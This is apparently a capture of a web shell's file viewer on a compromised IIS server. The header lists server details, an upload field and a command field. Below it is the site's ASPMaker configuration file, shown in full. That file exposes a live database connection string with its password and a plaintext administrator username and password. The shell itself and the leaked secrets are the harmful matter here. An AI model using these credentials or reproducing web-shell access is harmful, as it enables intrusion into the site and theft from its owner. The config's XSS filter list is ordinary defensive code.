403Webshell
Server IP : 103.118.17.23  /  Your IP : 216.73.216.169
Web Server : Microsoft-IIS/10.0
System : Windows NT RESELLERPLESK22 10.0 build 20348 (Windows Server 2016) AMD64
User : IWAM_plesk(default) ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/vhosts/mesa.org.in/httpdocs/panel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/vhosts/mesa.org.in/httpdocs/panel/ewcfg.asp
<%


Const EW_DEBUG_ENABLED = False ' True to debug / False to skip

' General
Const EW_PATH_DELIMITER = "\" ' Physical path delimiter
Const EW_PROJECT_NAME = "panel" ' Project Name
Dim EW_CONFIG_FILE_FOLDER
EW_CONFIG_FILE_FOLDER = EW_PROJECT_NAME & "" ' Config file name
Const EW_PROJECT_ID = "panel" ' Project ID (GUID)
Dim EW_RELATED_PROJECT_ID
Dim EW_RELATED_LANGUAGE_FOLDER
Const EW_RANDOM_KEY = "aRYudm819VrMBmcj"

' Auto suggest max entries
Const EW_AUTO_SUGGEST_MAX_ENTRIES = 10

' Auto fill original value
Const EW_AUTO_FILL_ORIGINAL_VALUE = false

' Upload max file size / thumbnail width and height
Const EW_MAX_FILE_SIZE = 5242880 ' Max file size
Const EW_MAX_FILE_COUNT = 0 ' Max file count
Const EW_UPLOAD_THUMBNAIL_WIDTH = 200 ' Temporary thumbnail max width
Const EW_UPLOAD_THUMBNAIL_HEIGHT = 0 ' Temporary thumbnail max height

' Language settings
Dim EW_LANGUAGE_FOLDER
EW_LANGUAGE_FOLDER = "lang/"
Dim EW_LANGUAGE_FILE(0)
EW_LANGUAGE_FILE(0) = Array("en", "", "english.xml")
Const EW_LANGUAGE_DEFAULT_ID = "en"
Dim EW_SESSION_LANGUAGE_FILE_CACHE
EW_SESSION_LANGUAGE_FILE_CACHE = EW_PROJECT_NAME & "_LanguageFile_aRYudm819VrMBmcj" ' Language File Cache
Dim EW_SESSION_LANGUAGE_CACHE
EW_SESSION_LANGUAGE_CACHE = EW_PROJECT_NAME & "_Language_aRYudm819VrMBmcj" ' Language Cache
Dim EW_SESSION_LANGUAGE_ID
EW_SESSION_LANGUAGE_ID = EW_PROJECT_NAME & "_LanguageId" ' Language ID
Dim EW_LOCALE_FOLDER
EW_LOCALE_FOLDER = EW_RELATIVE_PATH & "locale/"

' Stylesheet file name
Const EW_PROJECT_STYLESHEET_FILENAME = "css/panel.css"
Dim EW_LAZY_LOAD ' Lazy loading of images
EW_LAZY_LOAD = True
EW_RELATED_PROJECT_ID = ""
Dim EW_BODY_CLASS
EW_BODY_CLASS = "hold-transition skin-yellow"
Dim EW_RESET_HEIGHT
EW_RESET_HEIGHT = True ' Reset layout height

' External JavaScripts
Dim EW_JAVASCRIPT_FILES()

' External stylesheets
Dim EW_STYLESHEET_FILES()

' Relative paths
Dim EW_RELATIVE_PATH, EW_ROOT_RELATIVE_PATH
EW_RELATIVE_PATH = ""
EW_ROOT_RELATIVE_PATH = "."

' Use responsive layout
Dim EW_USE_RESPONSIVE_LAYOUT
EW_USE_RESPONSIVE_LAYOUT = True

' Session timeout time
Const EW_SESSION_TIMEOUT = 0	' Session timeout time (minutes)

' Session keep alive interval
Const EW_SESSION_KEEP_ALIVE_INTERVAL = 0 ' Session keep alive interval (seconds)
Const EW_SESSION_TIMEOUT_COUNTDOWN = 60 ' Session timeout count down interval (seconds)

' Boolean HTML attributes
Dim EW_BOOLEAN_HTML_ATTRIBUTES
EW_BOOLEAN_HTML_ATTRIBUTES = Array("checked", "compact", "declare", "defer", "disabled", "ismap", "multiple", "nohref", "noresize", "noshade", "nowrap", "readonly", "selected")

' Response.Buffer setting
Const EW_RESPONSE_BUFFER = True

' Lookup filter value separator
Const EW_LOOKUP_FILTER_VALUE_SEPARATOR = ","

' Menu
Const EW_ITEM_TEMPLATE_CLASSNAME = "ewTemplate"
Const EW_ITEM_TABLE_CLASSNAME = "ewItemTable"

' Page Title Style
Const EW_PAGE_TITLE_STYLE = "Breadcrumbs"

' Remove XSS
Const EW_REMOVE_XSS = True ' True to Remove XSS / False to skip

' XSS Array
Dim EW_XSS_ARRAY
EW_XSS_ARRAY = Array("javascript", "vbscript", "expression", "<applet", "<meta", "<xml", "<blink", "<link", "<style", "<script", "<embed", "<object", "<iframe", "<frame", "<frameset", "<ilayer", "<layer", "<bgsound", "<title", "<base", _
	"onabort", "onactivate", "onafterprint", "onafterupdate", "onbeforeactivate", "onbeforecopy", "onbeforecut", "onbeforedeactivate", "onbeforeeditfocus", "onbeforepaste", "onbeforeprint", "onbeforeunload", "onbeforeupdate", "onblur", "onbounce", "oncellchange", "onchange", "onclick", "oncontextmenu", "oncontrolselect", "oncopy", "oncut", "ondataavailable", "ondatasetchanged", "ondatasetcomplete", "ondblclick", "ondeactivate", "ondrag", "ondragend", "ondragenter", "ondragleave", "ondragover", "ondragstart", "ondrop", "onerror", "onerrorupdate", "onfilterchange", "onfinish", "onfocus", "onfocusin", "onfocusout", "onhelp", "onkeydown", "onkeypress", "onkeyup", "onlayoutcomplete", "onload", "onlosecapture", "onmousedown", "onmouseenter", "onmouseleave", "onmousemove", "onmouseout", "onmouseover", "onmouseup", "onmousewheel", "onmove", "onmoveend", "onmovestart", "onpaste", "onpropertychange", "onreadystatechange", "onreset", "onresize", "onresizeend", "onresizestart", "onrowenter", "onrowexit", "onrowsdelete", "onrowsinserted", "onscroll", "onselect", "onselectionchange", "onselectstart", "onstart", "onstop", "onsubmit", "onunload")

' Check Token
Const EW_CHECK_TOKEN = True ' Check post token
Const EW_TOKEN_NAME = "token" ' DO NOT CHANGE!

' Session names
Dim EW_SESSION_STATUS
EW_SESSION_STATUS = EW_PROJECT_NAME & "_Status" ' Login Status
Dim EW_SESSION_USER_NAME
EW_SESSION_USER_NAME = EW_SESSION_STATUS & "_UserName" ' User Name
Dim EW_SESSION_USER_LOGIN_TYPE
EW_SESSION_USER_LOGIN_TYPE = EW_SESSION_STATUS & "_UserLoginType" ' User login type
Dim EW_SESSION_USER_ID
EW_SESSION_USER_ID = EW_SESSION_STATUS & "_UserID" ' User ID
Dim EW_SESSION_USER_PROFILE, EW_SESSION_USER_PROFILE_USER_NAME, EW_SESSION_USER_PROFILE_PASSWORD, EW_SESSION_USER_PROFILE_LOGIN_TYPE
EW_SESSION_USER_PROFILE = EW_SESSION_STATUS & "_UserProfile" ' User Profile
EW_SESSION_USER_PROFILE_USER_NAME = EW_SESSION_USER_PROFILE & "_UserName"
EW_SESSION_USER_PROFILE_PASSWORD = EW_SESSION_USER_PROFILE & "_Password"
EW_SESSION_USER_PROFILE_LOGIN_TYPE = EW_SESSION_USER_PROFILE & "_LoginType"
Dim EW_SESSION_USER_LEVEL_ID, EW_SESSION_USER_LEVEL_LIST, EW_SESSION_USER_LEVEL_LIST_LOADED
EW_SESSION_USER_LEVEL_ID = EW_SESSION_STATUS & "_UserLevel" ' User Level ID
EW_SESSION_USER_LEVEL_LIST = EW_SESSION_STATUS & "_UserLevelList" ' User Level List
EW_SESSION_USER_LEVEL_LIST_LOADED = EW_SESSION_STATUS & "_UserLevelListLoaded" ' User Level List Loaded
Dim EW_SESSION_USER_LEVEL
EW_SESSION_USER_LEVEL = EW_SESSION_STATUS & "_UserLevelValue" ' User Level
Dim EW_SESSION_PARENT_USER_ID
EW_SESSION_PARENT_USER_ID = EW_SESSION_STATUS & "_ParentUserID" ' Parent User ID
Dim EW_SESSION_SYS_ADMIN
EW_SESSION_SYS_ADMIN = EW_PROJECT_NAME & "_SysAdmin" ' System Admin
Dim EW_SESSION_AR_USER_LEVEL
EW_SESSION_AR_USER_LEVEL = EW_PROJECT_NAME & "_arUserLevel" ' User Level Array
Dim EW_SESSION_AR_USER_LEVEL_PRIV
EW_SESSION_AR_USER_LEVEL_PRIV = EW_PROJECT_NAME & "_arUserLevelPriv" ' User Level Privilege Array
Dim EW_SESSION_USER_LEVEL_MSG
EW_SESSION_USER_LEVEL_MSG = EW_PROJECT_NAME & "_UserLevelMessage" ' User Level Message
Dim EW_SESSION_SECURITY
EW_SESSION_SECURITY = EW_PROJECT_NAME & "_Security" ' Security Array
Dim EW_SESSION_MESSAGE
EW_SESSION_MESSAGE = EW_PROJECT_NAME & "_Message" ' System Message
Dim EW_SESSION_FAILURE_MESSAGE, EW_SESSION_SUCCESS_MESSAGE, EW_SESSION_WARNING_MESSAGE
EW_SESSION_FAILURE_MESSAGE = EW_PROJECT_NAME & "_Failure_Message" ' System error message
EW_SESSION_SUCCESS_MESSAGE = EW_PROJECT_NAME & "_Success_Message" ' System message
EW_SESSION_WARNING_MESSAGE = EW_PROJECT_NAME & "_Warning_Message" ' Warning message
Dim EW_SESSION_INLINE_MODE
EW_SESSION_INLINE_MODE = EW_PROJECT_NAME & "_InlineMode" ' Inline Mode
Dim EW_SESSION_BREADCRUMB
EW_SESSION_BREADCRUMB = EW_PROJECT_NAME & "_Breadcrumb" ' Breadcrumb
Dim EW_SESSION_TEMP_IMAGES
EW_SESSION_TEMP_IMAGES = EW_PROJECT_NAME & "_TempImages" ' Temp images
Dim EW_SESSION_TOKEN
EW_SESSION_TOKEN = EW_PROJECT_NAME & "_Token"

' Charset
Const EW_CHARSET = "utf-8" ' Project charset

' Database settings
Dim EW_CONN(0)
EW_CONN(0) = Array(Array("conn", Null), Array("id", "DB"), Array("type", "UNKNOWN"), Array("connectionstring", "Provider=SQLOLEDB;Persist Security Info=False;Data Source=Sqlplesk8.securehostdns.com,1234;Initial Catalog=mesa_;User Id=mesa2022;Password=Xz9y34c*0"), Array("schema", ""), Array("qs", ""), Array("qe", ""))

' Settings for default database
Const EW_DB_QUOTE_START = ""
Const EW_DB_QUOTE_END = ""
Const EW_IS_MSACCESS = False ' Access
Const EW_IS_MSSQL = False ' MS SQL
Const EW_IS_MYSQL = False ' MySQL
Const EW_IS_ORACLE = False ' Oracle
Const EW_IS_POSTGRESQL = False ' PostgreSQL
Const EW_CURSOR_LOCATION = 3 ' Default Cursor location
Const EW_DATATYPE_NUMBER = 1
Const EW_DATATYPE_DATE = 2
Const EW_DATATYPE_STRING = 3
Const EW_DATATYPE_BOOLEAN = 4
Const EW_DATATYPE_MEMO = 5
Const EW_DATATYPE_BLOB = 6
Const EW_DATATYPE_TIME = 7
Const EW_DATATYPE_GUID = 8
Const EW_DATATYPE_XML = 9
Const EW_DATATYPE_OTHER = 10
Dim EW_CUSTOM_TEMPLATE_DATATYPES
EW_CUSTOM_TEMPLATE_DATATYPES= Array(EW_DATATYPE_NUMBER, EW_DATATYPE_DATE, EW_DATATYPE_STRING, EW_DATATYPE_BOOLEAN, EW_DATATYPE_TIME) ' Data to be passed to Custom Template
Const EW_DATA_STRING_MAX_LENGTH = 512
Const EW_COMPOSITE_KEY_SEPARATOR = "," ' Composite key separator
Const EW_HIGHLIGHT_COMPARE = True ' Highlight compare mode, True(case-insensitive)|False(case-sensitive)
Const EW_EMAIL_KEYWORD_SEPARATOR = "" ' Email keyword separator
Const EW_EMAIL_CHARSET = "utf-8" ' Email charset
Const EW_ROWTYPE_HEADER = 0 ' Row type header
Const EW_ROWTYPE_VIEW = 1 ' Row type view
Const EW_ROWTYPE_ADD = 2 ' Row type add
Const EW_ROWTYPE_EDIT = 3 ' Row type edit
Const EW_ROWTYPE_SEARCH = 4 ' Row type search
Const EW_ROWTYPE_MASTER = 5 ' Row type master record
Const EW_ROWTYPE_AGGREGATEINIT = 6 ' Row type aggregate init
Const EW_ROWTYPE_AGGREGATE = 7 ' Row type aggregate

' List actions
Const EW_ACTION_POSTBACK = "P"	' Post back
Const EW_ACTION_AJAX = "A"	' Ajax
Const EW_ACTION_MULTIPLE = "M"	' Multiple records
Const EW_ACTION_SINGLE = "S" ' Single record

' Table specific names
Const EW_TABLE_PREFIX = "||ASPReportMaker||" ' For backward compatibility only
Const EW_TABLE_REC_PER_PAGE = "recperpage" ' Records per page
Const EW_TABLE_START_REC = "start" ' Start record
Const EW_TABLE_PAGE_NO = "pageno" ' Page number
Const EW_TABLE_BASIC_SEARCH = "psearch" ' Basic search keyword
Const EW_TABLE_BASIC_SEARCH_TYPE = "psearchtype" ' Basic search type
Const EW_TABLE_ADVANCED_SEARCH = "advsrch" ' Advanced search
Const EW_TABLE_SEARCH_WHERE = "searchwhere" ' Search where clause
Const EW_TABLE_WHERE = "where" ' Table where
Const EW_TABLE_WHERE_LIST = "where_list" ' Table where (list page)
Const EW_TABLE_ORDER_BY = "orderby" ' Table order by
Const EW_TABLE_ORDER_BY_LIST = "orderby_list" ' Table order by (list page)
Const EW_TABLE_SORT = "sort" ' Table sort
Const EW_TABLE_KEY = "key" ' Table key
Const EW_TABLE_SHOW_MASTER = "showmaster" ' Table show master
Const EW_TABLE_SHOW_DETAIL = "showdetail" ' Table show detail
Const EW_TABLE_MASTER_TABLE = "mastertable" ' Master table
Const EW_TABLE_DETAIL_TABLE = "detailtable" ' Detail table
Const EW_TABLE_MASTER_FILTER = "masterfilter" ' Master filter
Const EW_TABLE_DETAIL_FILTER = "detailfilter" ' Detail filter
Const EW_TABLE_RETURN_URL = "return" ' Return URL
Const EW_TABLE_EXPORT_RETURN_URL = "exportreturn" ' Export return URL
Const EW_TABLE_GRID_ADD_ROW_COUNT = "gridaddcnt" ' Grid add row count

' Audit Trail
Const EW_AUDIT_TRAIL_TO_DATABASE = False ' Write audit trail to DB

'Const EW_AUDIT_TRAIL_TABLE = "" ' Audit trail table
Const EW_AUDIT_TRAIL_DBID = "DB"	' Audit trail DBID
Const EW_AUDIT_TRAIL_CURSOR_LOCATION = 3 ' Cursor location
Const EW_AUDIT_TRAIL_RECORDSET_LOCKTYPE = 2 ' Recordset lock type
Const EW_AUDIT_TRAIL_TABLE_NAME = ""	' Audit trail table name
Const EW_AUDIT_TRAIL_TABLE_VAR = ""	' Audit trail table var
Const EW_AUDIT_TRAIL_FIELD_NAME_DATETIME = ""	' Audit trail DateTime field name
Const EW_AUDIT_TRAIL_FIELD_NAME_SCRIPT = ""	' Audit trail Script field name
Const EW_AUDIT_TRAIL_FIELD_NAME_USER = ""	' Audit trail User field name
Const EW_AUDIT_TRAIL_FIELD_NAME_ACTION = ""	' Audit trail Action field name
Const EW_AUDIT_TRAIL_FIELD_NAME_TABLE = ""	' Audit trail Table field name
Const EW_AUDIT_TRAIL_FIELD_NAME_FIELD = ""	' Audit trail Field field name
Const EW_AUDIT_TRAIL_FIELD_NAME_KEYVALUE = ""	' Audit trail Key Value field name
Const EW_AUDIT_TRAIL_FIELD_NAME_OLDVALUE = ""	' Audit trail Old Value field name
Const EW_AUDIT_TRAIL_FIELD_NAME_NEWVALUE = ""	' Audit trail New Value field name

' Security specific
Const EW_AUDIT_TRAIL_PATH = "uploads/" ' Audit trail path
Const EW_ADMIN_USER_NAME = "mesa2022" ' Administrator user name
Const EW_ADMIN_PASSWORD = "2022mesa@ppb" ' Administrator password
Const EW_USE_CUSTOM_LOGIN = True ' Use custom login
Const EW_ALLOW_LOGIN_BY_URL = False	' Allow login by URL
Const EW_ALLOW_LOGIN_BY_SESSION = False	' Allow login by session variables
Const EW_ENCRYPTED_PASSWORD = False ' Use encrypted password
Const EW_CASE_SENSITIVE_PASSWORD = False ' Case Sensitive password
Const EW_PASSWORD_HASH = False ' Use Blowfish.js password hashing functions

' User level constants
Const EW_USER_LEVEL_COMPAT = False ' Use new user level values (separate values for View/Search)
Const EW_ALLOW_ADD = 1 ' Add
Const EW_ALLOW_DELETE = 2 ' Delete
Const EW_ALLOW_EDIT = 4 ' Edit
Const EW_ALLOW_LIST = 8 ' List
Const EW_ALLOW_REPORT = 8 ' Report
Const EW_ALLOW_ADMIN = 16 ' Admin
Dim EW_ALLOW_VIEW, EW_ALLOW_SEARCH, EW_ALLOW_ALL ' View / Search
If EW_USER_LEVEL_COMPAT Then
	EW_ALLOW_VIEW = 8 ' View
	EW_ALLOW_SEARCH = 8 ' Search
	EW_ALLOW_ALL = 31 ' All (1 + 2 + 4 + 8 + 16)
Else
	EW_ALLOW_VIEW = 32 ' View
	EW_ALLOW_SEARCH = 64 ' Search
	EW_ALLOW_ALL = 127 ' All (1 + 2 + 4 + 8 + 16 + 32 + 64)
End If

' Hierarchical User ID
Const EW_USER_ID_IS_HIERARCHICAL = True ' True to show all level / False to show 1 level

' Use subquery for master/detail user id checking
Const EW_USE_SUBQUERY_FOR_MASTER_USER_ID = False ' True to use subquery / False to skip
Const EW_USER_ID_ALLOW = 104

' User table filters
' User Profile Constants

Const EW_USER_PROFILE_KEY_SEPARATOR = "="
Const EW_USER_PROFILE_FIELD_SEPARATOR = ","
Const EW_USER_PROFILE_SESSION_ID = "SessionID"
Const EW_USER_PROFILE_LAST_ACCESSED_DATE_TIME = "LastAccessedDateTime"
Const EW_USER_PROFILE_CONCURRENT_SESSION_COUNT = 1 ' Maximum sessions allowed
Const EW_USER_PROFILE_SESSION_TIMEOUT = 20
Const EW_USER_PROFILE_LOGIN_RETRY_COUNT = "LoginRetryCount"
Const EW_USER_PROFILE_LAST_BAD_LOGIN_DATE_TIME = "LastBadLoginDateTime"
Const EW_USER_PROFILE_MAX_RETRY = 3
Const EW_USER_PROFILE_RETRY_LOCKOUT = 20
Const EW_USER_PROFILE_LAST_PASSWORD_CHANGED_DATE = "LastPasswordChangedDate"
Const EW_USER_PROFILE_PASSWORD_EXPIRE = 90
Const EW_USER_PROFILE_LANGUAGE_ID = "LanguageId"
Const EW_USER_PROFILE_SEARCH_FILTERS = "SearchFilters"
Const EW_SEARCH_FILTER_OPTION = "Client"

' Auto hide pager
Const EW_AUTO_HIDE_PAGER = True
Const EW_AUTO_HIDE_PAGE_SIZE_SELECTOR = False

' Date separator / format
Const EW_UNFORMAT_YEAR = 50 ' Unformat year

' Email related constants
Const EW_SMTP_SERVER = "localhost" ' SMTP server
Const EW_SMTP_SERVER_PORT = 25 ' SMTP server port
Const EW_SMTP_SECURE_OPTION = ""
Const EW_SMTP_SERVER_USERNAME = "" ' SMTP server user name
Const EW_SMTP_SERVER_PASSWORD = "" ' SMTP server password
Const EW_SENDER_EMAIL = "" ' Sender email
Const EW_RECIPIENT_EMAIL = "" ' Receiver email
Const EW_MAX_EMAIL_RECIPIENT = 3
Const EW_MAX_EMAIL_SENT_COUNT = 3
Dim EW_EXPORT_EMAIL_COUNTER
EW_EXPORT_EMAIL_COUNTER = EW_SESSION_STATUS & "_EmailCounter"
Const EW_EMAIL_CHANGEPWD_TEMPLATE = "changepwd.html"
Const EW_EMAIL_FORGOTPWD_TEMPLATE = "forgotpwd.html"
Const EW_EMAIL_NOTIFY_TEMPLATE = "notify.html"
Const EW_EMAIL_REGISTER_TEMPLATE = "register.html"
Const EW_EMAIL_RESETPWD_TEMPLATE = "resetpwd.html"
Const EW_EMAIL_TEMPLATE_PATH = "html"
Dim EW_REMOTE_FILE_PATTERN
EW_REMOTE_FILE_PATTERN = "^((https?\:)?|ftps?\:|s3:)\/\/"

' File upload constants
Dim EW_UPLOAD_TYPE
EW_UPLOAD_TYPE = "POST" ' HTTP request method for file upload (support "POST" only)
Const EW_UPLOAD_TEMP_PATH = "" ' Upload temp path (absolute local physical path)
Const EW_UPLOAD_TEMP_HREF_PATH = "" ' Upload temp href path (absolute URL path for download)
Dim EW_DOWNLOAD_VIA_SCRIPT ' Download uploaded temp file via ewupload.asp (ASP)
EW_DOWNLOAD_VIA_SCRIPT = False
Const EW_UPLOAD_DEST_PATH = "uploads/" ' Upload destination path
Const EW_UPLOAD_HREF_PATH = "" ' Upload file href path (for download)
Const EW_UPLOAD_URL = "ewupload.asp" ' Upload URL

Const EW_UPLOAD_TEMP_FOLDER_TIME_LIMIT = 1440 ' Upload temp folder time limit (minutes)
Const EW_UPLOAD_THUMBNAIL_FOLDER = "thumbnail" ' Temporary thumbnail folder
Const EW_UPLOAD_ALLOWED_FILE_EXT = "gif,jpg,jpeg,bmp,png,doc,xls,pdf,zip,docx,xlsx" ' Allowed file extensions
Const EW_IMAGE_ALLOWED_FILE_EXT = "gif,jpe,jpeg,jpg,png,bmp" ' Allowed file extensions for images
Const EW_DOWNLOAD_ALLOWED_FILE_EXT = "pdf,xls,doc,xlsx,docx,mp4,mp3" ' Allowed file extensions for download (non-image)
Const EW_ENCRYPT_FILE_PATH = True ' Encrypt file path
Const EW_UPLOAD_CHARSET = "utf-8" ' Upload charset
Const EW_THUMBNAIL_DEFAULT_WIDTH = 0 ' Thumbnail default width
Const EW_THUMBNAIL_DEFAULT_HEIGHT = 0 ' Thumbnail default height
Const EW_THUMBNAIL_DEFAULT_INTERPOLATION = 1 ' Thumbnail default interpolation
Const EW_USE_COLORBOX = True ' Use Colorbox
Const EW_MULTIPLE_UPLOAD_SEPARATOR = "," ' Multiple upload separator
Const EW_FILE_URL = "ewfile.asp" ' File accessor URL
Const EW_IMAGE_FOLDER = "images/" ' Image folder (ASP)

' Image resize
Const EW_KEEP_ASPECT_RATIO = False
Const EW_RESIZE_OPTION = "True" ' Width|Height|Smaller|Larger

' Export records
Const EW_EXPORT_ALL_TIME_LIMIT = 120 ' Export all records time limit
Const EW_EXPORT_ORIGINAL_VALUE = False ' True to export original value
Const EW_EXPORT_FIELD_CAPTION = False ' True to export field caption
Const EW_EXPORT_CSS_STYLES = True ' True to export css styles
Const EW_EXPORT_MASTER_RECORD = True ' True to export master record
Const EW_EXPORT_MASTER_RECORD_FOR_CSV = False ' True to export master record for CSV
Const EW_EXPORT_DETAIL_RECORDS = True ' True to export detail records
Const EW_EXPORT_DETAIL_RECORDS_FOR_CSV = False ' True to export detail records for CSV

' Full URL protocols ("http" or "https")
Dim EW_FULL_URL_PROTOCOLS
Set EW_FULL_URL_PROTOCOLS = Dictionary()
EW_FULL_URL_PROTOCOLS.Add "href", "" ' Hyperlink Field
EW_FULL_URL_PROTOCOLS.Add "upload", "" ' ewupload page
EW_FULL_URL_PROTOCOLS.Add "resetpwd", "" ' Reset password
EW_FULL_URL_PROTOCOLS.Add "activate", "" ' Register page activate link
EW_FULL_URL_PROTOCOLS.Add "tmpfile", "" ' Upload temp file
EW_FULL_URL_PROTOCOLS.Add "auth", "" ' OAuth base URL

' MIME types
Dim EW_MIME_TYPES
Set EW_MIME_TYPES = Dictionary()
EW_MIME_TYPES.Add "323", "text/h323"
EW_MIME_TYPES.Add "3g2", "video/3gpp2"
EW_MIME_TYPES.Add "3gp2", "video/3gpp2"
EW_MIME_TYPES.Add "3gp", "video/3gpp"
EW_MIME_TYPES.Add "3gpp", "video/3gpp"
EW_MIME_TYPES.Add "aac", "audio/aac"
EW_MIME_TYPES.Add "aaf", "application/octet-stream"
EW_MIME_TYPES.Add "aca", "application/octet-stream"
EW_MIME_TYPES.Add "accdb", "application/msaccess"
EW_MIME_TYPES.Add "accde", "application/msaccess"
EW_MIME_TYPES.Add "accdt", "application/msaccess"
EW_MIME_TYPES.Add "acx", "application/internet-property-stream"
EW_MIME_TYPES.Add "adt", "audio/vnd.dlna.adts"
EW_MIME_TYPES.Add "adts", "audio/vnd.dlna.adts"
EW_MIME_TYPES.Add "afm", "application/octet-stream"
EW_MIME_TYPES.Add "ai", "application/postscript"
EW_MIME_TYPES.Add "aif", "audio/x-aiff"
EW_MIME_TYPES.Add "aifc", "audio/aiff"
EW_MIME_TYPES.Add "aiff", "audio/aiff"
EW_MIME_TYPES.Add "appcache", "text/cache-manifest"
EW_MIME_TYPES.Add "application", "application/x-ms-application"
EW_MIME_TYPES.Add "art", "image/x-jg"
EW_MIME_TYPES.Add "asd", "application/octet-stream"
EW_MIME_TYPES.Add "asf", "video/x-ms-asf"
EW_MIME_TYPES.Add "asi", "application/octet-stream"
EW_MIME_TYPES.Add "asm", "text/plain"
EW_MIME_TYPES.Add "asr", "video/x-ms-asf"
EW_MIME_TYPES.Add "asx", "video/x-ms-asf"
EW_MIME_TYPES.Add "atom", "application/atom+xml"
EW_MIME_TYPES.Add "au", "audio/basic"
EW_MIME_TYPES.Add "avi", "video/x-msvideo"
EW_MIME_TYPES.Add "axs", "application/olescript"
EW_MIME_TYPES.Add "bas", "text/plain"
EW_MIME_TYPES.Add "bcpio", "application/x-bcpio"
EW_MIME_TYPES.Add "bin", "application/octet-stream"
EW_MIME_TYPES.Add "bmp", "image/bmp"
EW_MIME_TYPES.Add "c", "text/plain"
EW_MIME_TYPES.Add "cab", "application/vnd.ms-cab-compressed"
EW_MIME_TYPES.Add "calx", "application/vnd.ms-office.calx"
EW_MIME_TYPES.Add "cat", "application/vnd.ms-pki.seccat"
EW_MIME_TYPES.Add "cdf", "application/x-cdf"
EW_MIME_TYPES.Add "chm", "application/octet-stream"
EW_MIME_TYPES.Add "class", "application/x-java-applet"
EW_MIME_TYPES.Add "clp", "application/x-msclip"
EW_MIME_TYPES.Add "cmx", "image/x-cmx"
EW_MIME_TYPES.Add "cnf", "text/plain"
EW_MIME_TYPES.Add "cod", "image/cis-cod"
EW_MIME_TYPES.Add "cpio", "application/x-cpio"
EW_MIME_TYPES.Add "cpp", "text/plain"
EW_MIME_TYPES.Add "crd", "application/x-mscardfile"
EW_MIME_TYPES.Add "crl", "application/pkix-crl"
EW_MIME_TYPES.Add "crt", "application/x-x509-ca-cert"
EW_MIME_TYPES.Add "csh", "application/x-csh"
EW_MIME_TYPES.Add "css", "text/css"
EW_MIME_TYPES.Add "csv", "application/octet-stream"
EW_MIME_TYPES.Add "cur", "application/octet-stream"
EW_MIME_TYPES.Add "dcr", "application/x-director"
EW_MIME_TYPES.Add "deploy", "application/octet-stream"
EW_MIME_TYPES.Add "der", "application/x-x509-ca-cert"
EW_MIME_TYPES.Add "dib", "image/bmp"
EW_MIME_TYPES.Add "dir", "application/x-director"
EW_MIME_TYPES.Add "disco", "text/xml"
EW_MIME_TYPES.Add "dlm", "text/dlm"
EW_MIME_TYPES.Add "doc", "application/msword"
EW_MIME_TYPES.Add "docm", "application/vnd.ms-word.document.macroEnabled.12"
EW_MIME_TYPES.Add "docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document"
EW_MIME_TYPES.Add "dot", "application/msword"
EW_MIME_TYPES.Add "dotm", "application/vnd.ms-word.template.macroEnabled.12"
EW_MIME_TYPES.Add "dotx", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"
EW_MIME_TYPES.Add "dsp", "application/octet-stream"
EW_MIME_TYPES.Add "dtd", "text/xml"
EW_MIME_TYPES.Add "dvi", "application/x-dvi"
EW_MIME_TYPES.Add "dvr-ms", "video/x-ms-dvr"
EW_MIME_TYPES.Add "dwf", "drawing/x-dwf"
EW_MIME_TYPES.Add "dwp", "application/octet-stream"
EW_MIME_TYPES.Add "dxr", "application/x-director"
EW_MIME_TYPES.Add "eml", "message/rfc822"
EW_MIME_TYPES.Add "emz", "application/octet-stream"
EW_MIME_TYPES.Add "eot", "application/vnd.ms-fontobject"
EW_MIME_TYPES.Add "eps", "application/postscript"
EW_MIME_TYPES.Add "etx", "text/x-setext"
EW_MIME_TYPES.Add "evy", "application/envoy"
EW_MIME_TYPES.Add "fdf", "application/vnd.fdf"
EW_MIME_TYPES.Add "fif", "application/fractals"
EW_MIME_TYPES.Add "fla", "application/octet-stream"
EW_MIME_TYPES.Add "flr", "x-world/x-vrml"
EW_MIME_TYPES.Add "flv", "video/x-flv"
EW_MIME_TYPES.Add "gif", "image/gif"
EW_MIME_TYPES.Add "gtar", "application/x-gtar"
EW_MIME_TYPES.Add "gz", "application/x-gzip"
EW_MIME_TYPES.Add "h", "text/plain"
EW_MIME_TYPES.Add "hdf", "application/x-hdf"
EW_MIME_TYPES.Add "hdml", "text/x-hdml"
EW_MIME_TYPES.Add "hhc", "application/x-oleobject"
EW_MIME_TYPES.Add "hhk", "application/octet-stream"
EW_MIME_TYPES.Add "hhp", "application/octet-stream"
EW_MIME_TYPES.Add "hlp", "application/winhlp"
EW_MIME_TYPES.Add "hqx", "application/mac-binhex40"
EW_MIME_TYPES.Add "hta", "application/hta"
EW_MIME_TYPES.Add "htc", "text/x-component"
EW_MIME_TYPES.Add "htm", "text/html"
EW_MIME_TYPES.Add "html", "text/html"
EW_MIME_TYPES.Add "htt", "text/webviewhtml"
EW_MIME_TYPES.Add "hxt", "text/html"
EW_MIME_TYPES.Add "ical", "text/calendar"
EW_MIME_TYPES.Add "icalendar", "text/calendar"
EW_MIME_TYPES.Add "ico", "image/x-icon"
EW_MIME_TYPES.Add "ics", "text/calendar"
EW_MIME_TYPES.Add "ief", "image/ief"
EW_MIME_TYPES.Add "ifb", "text/calendar"
EW_MIME_TYPES.Add "iii", "application/x-iphone"
EW_MIME_TYPES.Add "inf", "application/octet-stream"
EW_MIME_TYPES.Add "ins", "application/x-internet-signup"
EW_MIME_TYPES.Add "isp", "application/x-internet-signup"
EW_MIME_TYPES.Add "IVF", "video/x-ivf"
EW_MIME_TYPES.Add "jar", "application/java-archive"
EW_MIME_TYPES.Add "java", "application/octet-stream"
EW_MIME_TYPES.Add "jck", "application/liquidmotion"
EW_MIME_TYPES.Add "jcz", "application/liquidmotion"
EW_MIME_TYPES.Add "jfif", "image/pjpeg"
EW_MIME_TYPES.Add "jpb", "application/octet-stream"
EW_MIME_TYPES.Add "jpg", "image/jpeg"
EW_MIME_TYPES.Add "jpeg", "image/jpeg"
EW_MIME_TYPES.Add "jpe", "image/jpeg"
EW_MIME_TYPES.Add "js", "application/javascript"
EW_MIME_TYPES.Add "json", "application/json"
EW_MIME_TYPES.Add "jsx", "text/jscript"
EW_MIME_TYPES.Add "latex", "application/x-latex"
EW_MIME_TYPES.Add "lit", "application/x-ms-reader"
